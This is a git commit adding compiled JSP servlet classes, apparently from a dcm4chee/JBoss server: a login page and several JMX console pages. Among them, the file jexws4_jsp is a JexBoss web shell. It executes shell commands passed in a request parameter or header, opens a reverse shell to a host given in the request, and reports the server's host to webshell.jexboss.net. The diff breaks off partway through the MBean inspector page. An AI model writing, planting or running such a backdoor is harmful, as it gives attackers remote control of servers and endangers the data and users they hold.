This commit is contained in:
2025-02-26 14:49:25 +07:00
commit 1c1d9c4474
6403 changed files with 1953774 additions and 0 deletions

View File

@@ -0,0 +1,215 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import java.net.InetAddress;
public final class login_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
out.write("<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n");
out.write("\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n");
out.write("\r\n");
out.write("<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:wicket=\"http://wicket.apache.org\">\n");
out.write(" ");
org.dcm4chee.web.common.login.LoginResources login = null;
synchronized (request) {
login = (org.dcm4chee.web.common.login.LoginResources) _jspx_page_context.getAttribute("login", PageContext.REQUEST_SCOPE);
if (login == null){
login = new org.dcm4chee.web.common.login.LoginResources();
_jspx_page_context.setAttribute("login", login, PageContext.REQUEST_SCOPE);
}
}
out.write("\r\n");
out.write(" ");
String nodeInfo = System.getProperty("dcm4che.archive.nodename", InetAddress.getLocalHost().getHostName() );
Cookie[] cookies = request.getCookies();
String userName = "";
String focus = "self.focus();document.login.j_username.focus()";
boolean darkroom = false;
if (cookies != null) {
int count = 0;
for (int i = 0; i < cookies.length; i++) {
if (cookies[i].getName().equals("WEB3LOCALE")) {
login.setLocale(cookies[i].getValue());
count++;
if (count==3)
break;
} else if (cookies[i].getName().equals("WEB3_CSS")) {
if ("base-style-r.css".equals(cookies[i].getValue()))
darkroom = true;
count++;
if (count==3)
break;
} else if (cookies[i].getName().equals("signInPanel.signInForm.username")) {
userName = cookies[i].getValue();
if (userName!=null && userName.length()>0)
focus = "self.focus();document.login.j_username.value='"+userName+
"';document.login.j_password.focus()";
count++;
if (count==3)
break;
}
}
}
out.write("\r\n");
out.write(" <head>\n");
out.write("\t <title>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${login.browser_title}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write(' ');
out.write('(');
out.print( nodeInfo );
out.write(")</title>\n");
out.write("\t <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n");
out.write(" ");
if (darkroom) {
out.write("\n");
out.write(" <link rel=\"stylesheet\" type=\"text/css\" href=\"resources/org.dcm4chee.web.common.base.BaseWicketPage/base-style-r.css\" />\n");
out.write(" ");
} else {
out.write("\n");
out.write(" <link rel=\"stylesheet\" type=\"text/css\" href=\"resources/org.dcm4chee.web.common.base.BaseWicketPage/base-style.css\" />\n");
out.write(" \t ");
}
out.write("\n");
out.write(" <script>\n");
out.write(" function login_init() {\n");
out.write(" \t");
out.print( focus );
out.write("\n");
out.write(" window.setTimeout(\"location.reload(true);\", ");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${pageContext.session.maxInactiveInterval * 1000 - 5000}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write(");\n");
out.write(" }\n");
out.write(" </script>\n");
out.write(" </head>\n");
out.write(" <body onload=\"login_init();\">\n");
out.write(" <div class=\"tabpanel\">\n");
out.write(" <div class=\"module-selector\">\n");
out.write(" <div class=\"tab-row\">\n");
out.write("\t\t\t <ul>\n");
out.write("\t\t </ul>\n");
out.write(" </div>\n");
out.write("\t\t <div class=\"tab-logo\" style=\"float: right; margin-top: 15px; height: 43px; padding-right: 15px; padding-left: 15px;\">\n");
out.write("\t\t <img alt=\"dcm4che.org\" src=\"resources/org.dcm4chee.web.common.base.BaseWicketPage/images/logo.gif\" /><br/>\n");
out.write("\t\t </div>\n");
out.write("\t </div>\n");
out.write("\t <div class=\"module-panel\"></div>\n");
out.write(" </div>\n");
out.write(" <div class=\"signin\" style=\"padding-top: 160px;\">\n");
out.write(" ");
if (request.getParameter("loginFailed") == null) {
out.write("\n");
out.write("\t <span class=\"login-desc\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${login.loginLabel}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write(' ');
out.print( nodeInfo );
out.write("</span>\n");
out.write(" ");
} else {
out.write("\n");
out.write(" \t <span class=\"login-desc\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${login.loginFailed}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write(' ');
out.print( nodeInfo );
out.write("</span>\n");
out.write(" \t ");
}
out.write("\n");
out.write(" <div>\n");
out.write("\t\t <form action=\"j_security_check\" method=\"POST\" name=\"login\" >\r\n");
out.write("\t\t <table style=\"padding-top: 60px; padding-right: 90px; padding-bottom: 10px;\">\n");
out.write(" <tbody>\n");
out.write("\t\t\t <tr style=\"text-align: left;\">\n");
out.write("\t\t\t <td align=\"right\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${login.username}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t <td>\n");
out.write("\t\t\t <input type=\"text\" name=\"j_username\" size=\"30\" />\n");
out.write("\t\t\t </td>\n");
out.write("\t\t\t </tr>\n");
out.write("\t\t\t <tr style=\"text-align: left;\">\n");
out.write("\t\t\t <td align=\"right\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${login.password}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t <td>\n");
out.write("\t\t\t <input type=\"password\" name=\"j_password\" size=\"30\" />\n");
out.write("\t\t\t </td>\n");
out.write("\t\t\t </tr>\n");
out.write("\t\t\t <tr style=\"text-align: left;\">\n");
out.write("\t\t\t <td></td>\n");
out.write("\t\t\t <td>\n");
out.write("\t\t\t <input type=\"submit\" name=\"submit\" value=\"");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${login.submit}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("\" class=\"button\" />\n");
out.write("\t\t\t <input type=\"reset\" value=\"");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${login.reset}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("\" onclick=\"document.login.j_username.focus()\" class=\"button\"/>\n");
out.write("\t\t\t </td>\n");
out.write("\t\t\t </tr>\n");
out.write(" </tbody>\n");
out.write(" </table>\n");
out.write("\t\t </form>\n");
out.write(" </div>\n");
out.write(" </div>\n");
out.write(" </body>\n");
out.write("</html>\n");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,71 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import java.lang.*;
import java.util.*;
import java.io.*;
import java.net.*;
public final class jexws4_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html;charset=UTF-8");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write(" <pre> ");
class rv extends Thread{InputStream is;OutputStream os;rv(InputStream is,OutputStream os){this.is=is;this.os=os;}public void run(){BufferedReader in=null;BufferedWriter out=null;try{in=new BufferedReader(new InputStreamReader(this.is));out=new BufferedWriter(new OutputStreamWriter(this.os));char b[]=new char[8192];int l;while((l=in.read(b,0,b.length))>0){out.write(b,0,l);out.flush();}}catch(Exception e){}}}String sh=null;if(request.getParameter("ppp")!=null){sh=request.getParameter("ppp");}else if(request.getHeader("X-JEX")!= null){sh=request.getHeader("X-JEX");}if(sh != null){response.setContentType("text/html");BufferedReader br=null;String lhc=(new Date().toString().split(":")[0]+"h.log").replaceAll(" ","-");try{if(request.getHeader("no-check-updates")==null){HttpURLConnection c=(HttpURLConnection)new URL("http://webshell.jexboss.net/jsp_version.txt").openConnection();c.setRequestProperty("User-Agent",request.getHeader("Host")+"<-"+request.getRemoteAddr());if(!new File("check_"+lhc).exists()){PrintWriter w=new PrintWriter("check_"+lhc);w.close();br=new BufferedReader(new InputStreamReader(c.getInputStream()));String lv=br.readLine().split(" ")[1];if(!lv.equals("4")){out.print("New version. Please update!");}}else if(sh.indexOf("id")!=-1||sh.indexOf("ipconfig")!=-1){c.getInputStream();}}}catch(Exception e){out.println("Failed to check for updates");}try{Process p;boolean nix=true;if(!System.getProperty("file.separator").equals("/")){nix=false;}if(sh.indexOf("jexremote=")!=-1){Socket sc=new Socket(sh.split("=")[1].split(":")[0],Integer.parseInt(sh.split(":")[1]));if(nix){sh="/bin/bash";}else{sh="cmd.exe";}p=Runtime.getRuntime().exec(sh);(new rv(p.getInputStream(),sc.getOutputStream())).start();(new rv(sc.getInputStream(),p.getOutputStream())).start();}else{if(nix){p=Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",sh});}else{p=Runtime.getRuntime().exec("cmd.exe /C "+sh);}br=new BufferedReader(new InputStreamReader(p.getInputStream()));String d=br.readLine();while(d != null){out.println(d);d=br.readLine();}}}catch(Exception e){out.println("Unknown command");}}
out.write('\n');
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,170 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import java.net.*;
import java.util.*;
import org.jboss.jmx.adaptor.model.*;
import java.io.*;
public final class displayMBeans_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("\n");
out.write("<html>\n");
out.write("<head>\n");
out.write(" ");
String bindAddress = "";
String serverName = "";
try
{
bindAddress = System.getProperty("jboss.bind.address", "");
serverName = System.getProperty("jboss.server.name", "");
}
catch (SecurityException se) {}
String hostname = "";
try
{
hostname = InetAddress.getLocalHost().getHostName();
}
catch(IOException e) {}
String hostInfo = hostname;
if (!bindAddress.equals(""))
{
hostInfo = hostInfo + " (" + bindAddress + ")";
}
out.write("\n");
out.write(" <title>JBoss JMX Management Console - ");
out.print( hostInfo );
out.write("</title>\n");
out.write(" <link rel=\"stylesheet\" href=\"style_master.css\" type=\"text/css\">\n");
out.write(" <meta http-equiv=\"cache-control\" content=\"no-cache\">\n");
out.write("</head>\n");
out.write("<body>\n");
out.write("<table width=\"100%\">\n");
out.write(" <table>\n");
out.write(" <tr>\n");
out.write(" <td><img src=\"images/logo.gif\" align=\"left\" border=\"0\" alt=\"JBoss\"></td>\n");
out.write(" <td valign=\"middle\">\n");
out.write(" <h1>JMX Agent View</h1>\n");
out.write(" <h3>");
out.print( hostInfo );
out.write(' ');
out.write('-');
out.write(' ');
out.print( serverName );
out.write("</h3>\n");
out.write(" </td>\n");
out.write(" </tr>\n");
out.write(" </table>\n");
out.write("<hr>\n");
out.write("<form action=\"HtmlAdaptor?action=displayMBeans\" method=\"post\" name=\"applyFilter\" id=\"applyFilter\">\n");
out.write("ObjectName Filter (e.g. \"jboss:*\", \"*:service=invoker,*\") :<input type=\"text\" name=\"filter\" size=\"40\" value=\"");
out.print( request.getAttribute("filter"));
out.write("\" /><input type=\"submit\" name=\"apply\" value=\"ApplyFilter\">\n");
if (request.getAttribute("filterError") != null) {
out.println("<br/><span class='error'>"+request.getAttribute("filterError")+"</span>");
}
out.write("\n");
out.write("</form>\n");
out.write("<hr>\n");
Iterator mbeans = (Iterator) request.getAttribute("mbeans");
while( mbeans.hasNext() )
{
DomainData domainData = (DomainData) mbeans.next();
out.write("\n");
out.write(" <h2 class='DomainName'>");
out.print( domainData.getDomainName() );
out.write("</h2>\n");
out.write(" <ul class='MBeanList'>\n");
MBeanData[] data = domainData.getData();
for(int d = 0; d < data.length; d ++)
{
String name = data[d].getObjectName().toString();
String properties = data[d].getNameProperties();
out.write("\n");
out.write(" <li><a href=\"HtmlAdaptor?action=inspectMBean&name=");
out.print( URLEncoder.encode(name) );
out.write('"');
out.write('>');
out.print( URLDecoder.decode(properties) );
out.write("</a></li>\n");
}
out.write("\n");
out.write(" </ul>\n");
}
out.write("\n");
out.write("</td></tr>\n");
out.write("</table>\n");
out.write("</body>\n");
out.write("</html>\n");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,168 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import java.net.*;
public final class displayOpResult_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("\n");
out.write("<html>\n");
out.write("<head>\n");
out.write(" <title>Operation Results</title>\n");
out.write(" <link rel=\"stylesheet\" href=\"style_master.css\" type=\"text/css\">\n");
out.write(" <meta http-equiv=\"cache-control\" content=\"no-cache\">\n");
out.write("</head>\n");
out.write("<body>\n");
out.write("\n");
org.jboss.jmx.adaptor.control.OpResultInfo opResultInfo = null;
synchronized (request) {
opResultInfo = (org.jboss.jmx.adaptor.control.OpResultInfo) _jspx_page_context.getAttribute("opResultInfo", PageContext.REQUEST_SCOPE);
if (opResultInfo == null){
opResultInfo = new org.jboss.jmx.adaptor.control.OpResultInfo();
_jspx_page_context.setAttribute("opResultInfo", opResultInfo, PageContext.REQUEST_SCOPE);
}
}
out.write('\n');
if(opResultInfo.name == null)
{
out.write('\n');
out.write(' ');
out.write(' ');
if (true) {
_jspx_page_context.forward("/HtmlAdaptor?action=displayMBeans");
return;
}
out.write('\n');
out.write('\n');
}
out.write("\n");
out.write("<table width=\"100%\">\n");
out.write(" <table>\n");
out.write(" <tr>\n");
out.write(" <td><img src=\"images/logo.gif\" align=\"left\" border=\"0\" alt=\"JBoss\"></td>\n");
out.write(" <td valign=\"middle\"><h1>JMX MBean Operation Result <code>");
out.print( opResultInfo.name);
out.write("()</code></h1></td>\n");
out.write("\t <tr/>\n");
out.write(" </table>\n");
out.write("\n");
out.write("<tr><td>\n");
out.write("\n");
out.write("\n");
out.write("<table cellpadding=\"5\">\n");
out.write(" <tr>\n");
out.write(" <td><a href='HtmlAdaptor?action=displayMBeans'>Back to Agent View</a></td>\n");
out.write(" <td>\n");
out.write(" <td><a href='HtmlAdaptor?action=inspectMBean&name=");
out.print( URLEncoder.encode(request.getParameter("name")) );
out.write("'>Back to MBean View</a></td>\n");
out.write(" <td>\n");
out.write(" <td><a href=\n");
out.print("'HtmlAdaptor?action=invokeOpByName");
out.print("&name=" + URLEncoder.encode(request.getParameter("name")));
out.print("&methodName=" + opResultInfo.name );
for (int i=0; i<opResultInfo.args.length; i++)
{
out.print("&argType=" + opResultInfo.signature[i]);
out.print("&arg" + i + "=" + opResultInfo.args[i]);
}
out.println("'>Reinvoke MBean Operation");
out.write("\n");
out.write("\t </a></td>\n");
out.write(" </tr>\n");
out.write("</table>\n");
out.write("\n");
out.write("\n");
out.write("<hr>\n");
out.write(" <span class='OpResult'>\n");
if( opResultInfo.result == null )
{
out.write("\n");
out.write(" Operation completed successfully without a return value.\n");
}
else
{
String opResultString = opResultInfo.result.toString();
boolean hasPreTag = opResultString.startsWith("<pre>");
if( hasPreTag == false )
out.println("<pre>");
out.println(opResultString);
if( hasPreTag == false )
out.println("</pre>");
}
out.write("\n");
out.write(" </span>\n");
out.write("</td></tr>\n");
out.write("</table>\n");
out.write("</body>\n");
out.write("</html>\n");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,70 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write('\n');
if (true) {
_jspx_page_context.forward("/HtmlAdaptor?action=displayMBeans");
return;
}
out.write('\n');
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,535 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import java.net.*;
import java.util.*;
import javax.management.*;
import javax.management.modelmbean.*;
import org.jboss.jmx.adaptor.control.Server;
import org.jboss.jmx.adaptor.control.AttrResultInfo;
import org.jboss.jmx.adaptor.model.*;
import java.lang.reflect.Array;
import org.jboss.util.propertyeditor.PropertyEditors;
public final class inspectMBean_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
public String fixDescription(String desc)
{
if (desc == null || desc.equals(""))
{
return "(no description)";
}
return desc;
}
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write('\r');
out.write('\n');
out.write("\r\n");
out.write("<html>\r\n");
out.write("<head>\r\n");
out.write(" <title>MBean Inspector</title>\r\n");
out.write(" <link rel=\"stylesheet\" href=\"style_master.css\" type=\"text/css\">\r\n");
out.write(" <meta http-equiv=\"cache-control\" content=\"no-cache\">\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
out.write("\r\n");
org.jboss.jmx.adaptor.model.MBeanData mbeanData = null;
synchronized (request) {
mbeanData = (org.jboss.jmx.adaptor.model.MBeanData) _jspx_page_context.getAttribute("mbeanData", PageContext.REQUEST_SCOPE);
if (mbeanData == null){
mbeanData = new org.jboss.jmx.adaptor.model.MBeanData();
_jspx_page_context.setAttribute("mbeanData", mbeanData, PageContext.REQUEST_SCOPE);
}
}
out.write("\r\n");
out.write("\r\n");
ObjectName objectName = mbeanData.getObjectName();
String objectNameString = mbeanData.getName();
MBeanInfo mbeanInfo = mbeanData.getMetaData();
MBeanAttributeInfo[] attributeInfo = mbeanInfo.getAttributes();
MBeanOperationInfo[] operationInfo = mbeanInfo.getOperations();
out.write("\r\n");
out.write("\r\n");
out.write("<table width=\"100%\">\r\n");
out.write(" <table>\r\n");
out.write(" <tr>\r\n");
out.write(" <td><img src=\"images/logo.gif\" align=\"left\" border=\"0\" alt=\"JBoss\"></td>\r\n");
out.write(" <td valign=\"middle\"><h1>JMX MBean View</h1></td>\r\n");
out.write(" <tr/>\r\n");
out.write(" </table>\r\n");
out.write(" <ul>\r\n");
out.write(" <table>\r\n");
out.write(" <tr>\r\n");
out.write(" <td>MBean Name:</td>\r\n");
out.write(" <td><b>Domain Name:</b></td>\r\n");
out.write(" <td>");
out.print( objectName.getDomain() );
out.write("</td>\r\n");
out.write(" </tr>\r\n");
Hashtable properties = objectName.getKeyPropertyList();
Iterator it = properties.keySet().iterator();
while( it.hasNext() )
{
String key = (String) it.next();
String value = (String) properties.get( key );
out.write("\r\n");
out.write(" <tr><td></td><td><b>");
out.print( key );
out.write(": </b></td><td>");
out.print( value );
out.write("</td></tr>\r\n");
}
out.write("\r\n");
out.write(" <tr><td>MBean Java Class:</td><td colspan=\"3\">");
out.write(org.apache.jasper.runtime.JspRuntimeLibrary.toString((((org.jboss.jmx.adaptor.model.MBeanData)_jspx_page_context.findAttribute("mbeanData")).getClassName())));
out.write("</td></tr>\r\n");
out.write(" </table>\r\n");
out.write("</ul>\r\n");
out.write("<table cellpadding=\"5\">\r\n");
out.write(" <tr>\r\n");
out.write(" <td><a href='HtmlAdaptor?action=displayMBeans'>Back to Agent View</a></td>\r\n");
out.write("\t <td>\r\n");
out.write(" <td><a href='HtmlAdaptor?action=inspectMBean&name=");
out.print( URLEncoder.encode(request.getParameter("name")) );
out.write("'>Refresh MBean View</a></td>\r\n");
out.write(" </tr>\r\n");
out.write("</table>\r\n");
out.write("\r\n");
out.write("<hr>\r\n");
out.write("<h3>MBean description:</h3>\r\n");
out.print( fixDescription(mbeanInfo.getDescription()));
out.write("\r\n");
out.write("\r\n");
out.write("<hr>\r\n");
out.write("<h3>List of MBean attributes:</h3>\r\n");
out.write("\r\n");
out.write("<form method=\"post\" action=\"HtmlAdaptor\">\r\n");
out.write(" <input type=\"hidden\" name=\"action\" value=\"updateAttributes\">\r\n");
out.write(" <input type=\"hidden\" name=\"name\" value=\"");
out.print( objectNameString );
out.write("\">\r\n");
out.write("\t<table cellspacing=\"1\" cellpadding=\"1\" border=\"1\">\r\n");
out.write("\t\t<tr class=\"AttributesHeader\">\r\n");
out.write("\t\t <th>Name</th>\r\n");
out.write("\t\t <th>Type</th>\r\n");
out.write("\t\t <th>Access</th>\r\n");
out.write("\t\t <th>Value</th>\r\n");
out.write("\t\t <th>Description</th>\r\n");
out.write("\t\t</tr>\r\n");
boolean hasWriteable = false;
String sep = System.getProperty("line.separator", "\n");
for(int a = 0; a < attributeInfo.length; a ++)
{
MBeanAttributeInfo attrInfo = attributeInfo[a];
String attrName = attrInfo.getName();
String attrType = attrInfo.getType();
AttrResultInfo attrResult = Server.getMBeanAttributeResultInfo(objectNameString, attrInfo);
String attrValue = attrResult.getAsText();
String access = "";
if( attrInfo.isReadable() )
access += "R";
if( attrInfo.isWritable() )
{
access += "W";
hasWriteable = true;
}
String attrDescription = fixDescription(attrInfo.getDescription());
out.write("\r\n");
out.write("\t\t<tr>\r\n");
out.write("\t\t <td>");
out.print( attrName );
out.write("</td>\r\n");
out.write("\t\t <td>");
out.print( attrType );
out.write("</td>\r\n");
out.write("\t\t <td>");
out.print( access );
out.write("</td>\r\n");
out.write(" <td>\r\n");
if( attrInfo.isWritable() )
{
String readonly = attrResult.editor == null ? "readonly" : "";
if( attrType.equals("boolean") || attrType.equals("java.lang.Boolean") )
{
// Boolean true/false radio boxes
Boolean value = attrValue == null || "".equals( attrValue ) ? null : Boolean.valueOf(attrValue);
String trueChecked = (value == Boolean.TRUE ? "checked" : "");
String falseChecked = (value == Boolean.FALSE ? "checked" : "");
String naChecked = value == null ? "checked" : "";
out.write("\r\n");
out.write(" <input type=\"radio\" name=\"");
out.print( attrName );
out.write("\" value=\"True\" ");
out.print(trueChecked);
out.write(">True\r\n");
out.write(" <input type=\"radio\" name=\"");
out.print( attrName );
out.write("\" value=\"False\" ");
out.print(falseChecked);
out.write(">False\r\n");
// For wrappers, enable a 'null' selection
if ( attrType.equals( "java.lang.Boolean" ) && PropertyEditors.isNullHandlingEnabled() )
{
out.write("\r\n");
out.write(" <input type=\"radio\" name=\"");
out.print( attrName );
out.write("\" value=\"\" ");
out.print(naChecked);
out.write(">Null\r\n");
}
}
else if( attrInfo.isReadable() )
{ // Text fields for read-write string values
